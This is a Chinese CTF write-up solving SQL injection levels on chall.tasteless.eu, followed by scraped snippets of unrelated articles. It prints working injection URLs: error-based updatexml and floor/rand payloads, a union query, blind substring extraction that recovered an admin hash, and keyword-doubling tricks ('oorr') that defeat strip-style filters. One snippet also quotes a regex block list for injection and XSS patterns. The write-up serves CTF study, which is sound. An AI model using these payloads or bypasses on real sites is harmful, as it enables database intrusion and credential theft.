chall.tasteless.eu 中的注入题

第一题好像就很难,看了payload,算是涨见识了,感觉有点为了猜而猜。

题目给我们的时候是这样的:http://chall.tasteless.eu/level1/index.php?dir=ASC

asc,desc  一对好基友,所以猜测是order by 后的注入。然后有个提示:Capture the flag! hint: table level1_flag column flag  No Bsqli!!

不用布尔型注入。想法就是报错注入,

然后把语句丢上去。

http://chall.tasteless.eu/level1/index.php?dir=and (updatexml(1,concat(1,(select flag from level1_flag limit 0,1),1),1))--+     直接返回错误,应该是关闭错误回显吧,也可能是括号构造的不够多,没有闭合更前面的括号。

后来看了答案在知道整个语句下的测试:

http://chall.tasteless.eu/level1/index.php?dir=and (updatexml(1,concat(1,(select flag from level1_flag limit 0,1),1),1)))--+

比上面多了个括号,还是报错,把limit 增加上去。

http://chall.tasteless.eu/level1/index.php?dir=and (updatexml(1,concat(1,(select flag from level1_flag limit 1,1),1),1)))--+

这时返回正确,说明语句对了,更前面需要一个括号,然后他关闭了报错语句。

判断如下。当limit小于表中的列数,报错并返回数据,如果limit大于等于表中的列数,返回全部结果。也就是页面返回正常,所以判断为关闭了报错语句。

写不出来就去找答案了。http://qkqhxla1.tistory.com/m/191

他猜的过程都在链接里,(select * from table order by 1 $_GET[‘dir‘]);

语句是这样的,括号在最前面,还是第一次看到这么写,闭合括号然后就能union了,

一开始判断为order by注入,然后按着order by 注入一路走,因为order by 后面不能跟union,所以正常的出数据只能靠布尔型或者报错来判断。下次遇到这样的就能想到这题了。

mysql> (select 1) union (select 2);
+---+
| 1 |
+---+
| 1 |
| 2 |
+---+
2 rows in set (0.00 sec)

  

第二题就比较友好了,一分钟就出来了。

http://chall.tasteless.eu/level2/index.php?req=f‘ union (select 1,2,flag from level2_flag)--+

第四题:

不懂flag的格式:

用guest guest 登录以后,id存在注入

http://chall.tasteless.eu/level4/index.php?action=pm&id=1 and ‘b‘=substr((select pass from level4 where username=‘admin‘),1,1)--+

正则匹配出现union字符串就报错,用盲注的形式。

注入出来admin的密码是98aa0ec014a46e34571affaf88999ebb

登录不了,不知道属不属于flag。

-----------

第六题:

http://chall.tasteless.eu/level6/index.php?in=,(select 1 from (select count(1),concat((select flag from level6_flag),floo*r(ra*nd(0)^2))x from (select 1 union select 2 union select 3)a group by x)b)%23

第一个语句中规中矩的报错注入,但是要注意的点就是过滤了or and * ,但是过滤的方式是替换成空,所以在某些关键字上要加一次,比如floor rand  都有出现or和and。

一开始不是用这个的,是用updatexml  extractvalue 这两个函数,但是无论怎么加,最后还是过滤了,直接被die()掉.

http://chall.tasteless.eu/level6/index.php?in=,(coalesce((select flag from level6_flag where hex(substr(flag,1,1))=hex(98) oorr null limit 1),(select 1 union select 2)))%23

第二个就比较有意思了,第一次见这个函数,明天再百度一下。如果要复制的时候注意oorr,只有一个or。是为了绕过滤才写oorr。

时间: 2024-10-26 17:02:52

chall.tasteless.eu 中的注入题的相关文章

ctf中常见注入题源码及脚本分析

1.代码审计发现 这里没有用escape_string,因此存在注入. 1 function show($username){ 2 global $conn; 3 $sql = "select role from `user` where username ='".$username."'"; 4 $res = $conn ->query($sql); 5 if($res->num_rows>0){ 6 echo "$username i

【Java EE 学习第70天】【数据采集系统第二天】【Action中User注入】【设计调查页面】【Action中模型赋值问题】【编辑调查】

一.Action中User注入问题 Action中可能会经常用到已经登陆的User对象,如果每次都从Session中拿会显得非常繁琐.可以想一种方法,当Action想要获取User对象的时候直接使用,这种方法还是得需要借助拦截器的力量,直接在登录拦截器中实现即可,但是登陆拦截器怎么知道该Action想要获取User对象呢?这就需要给Action加上一个接口,如果该Action是该接口的实现类,则表示该Action想要获取User对象.接口仿照HttpRequestAware接口的形式,名字为用户

spring中依赖注入方式总结

Spring中依赖注入的四种方式 在Spring容器中为一个bean配置依赖注入有三种方式: · 使用属性的setter方法注入  这是最常用的方式: · 使用构造器注入: · 使用Filed注入(用于注解方式). 使用属性的setter方法注入 首先要配置被注入的bean,在该bean对应的类中,应该有要注入的对象属性或者基本数据类型的属性.例如:为UserBiz类注入UserDAO,同时为UserBiz注入基本数据类型String,那么这时,就要为UserDAO对象和String类型设置se

3.7 CSS中的几何题

经过前面的学习.对标准流中的盒子排列方式应该已经很清楚了,下面来做一个习题. 假设有一个网页,其显示结果如图1所示,现在要读者精确地回答出从字母a到x对应的宽度是多少个像素.习题文件位于网页学习网CSS教程资源“第3章\04.htm”. 图1 计算图中各个字母代表的宽度(高度)是多少像素 网页的完整代码如下:lodidance.com <!DOCTYPE html PUBliC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http

spring中构造函数注入

spring中构造函数注入,简单来说,就是通过beans.xml中,设置对应的值.而且通过bean类中的构造函数进行注入这些值. 文件结构 Goods类 package com.test.innerbean; public class Goods { private String goodsName; private int price; public Goods(String name,int price) { goodsName=name; this.price=price; } publi

java程序中sql注入分析及优化方案

先来看看百度百科的解释: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到sql注入攻击. 1.java程序

360 webscan中防注入跨站攻击的核心

//get拦截规则 $getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[a-z

百度2016实习 前端试题中的编程题2:Excel地址的相互转换 [2015南桥杯试题]

百度2016实习 前端试题中的编程题2:Excel地址的相互转换  Excel是最常用的办公软件.每个单元格都有唯一的地址表示.比如:第12行第4列表示为:"D12",第5行第255列表示为"IU5". 事实上,Excel提供了两种地址表示方法,还有一种表示法叫做RC格式地址. 第12行第4列表示为:"R12C4",第5行第255列表示为"R5C255". 要求:编写程序,对换两种不同的表示方法表示行列,即 如果输入是常规地址

SpringBoot的拦截器中依赖注入报空指针问题

原因:拦截器加载的时间点在springcontext之前,所以在拦截器中注入自然为null : 解决方法:配置拦截器链的类中先注入这个拦截器,示例: @Configuration public class WebConfig extends WebMvcConfigurerAdapter { //注入拦截器类 @Bean public LocaleInterceptor localeInterceptor  () { return new LocaleInterceptor(); } publi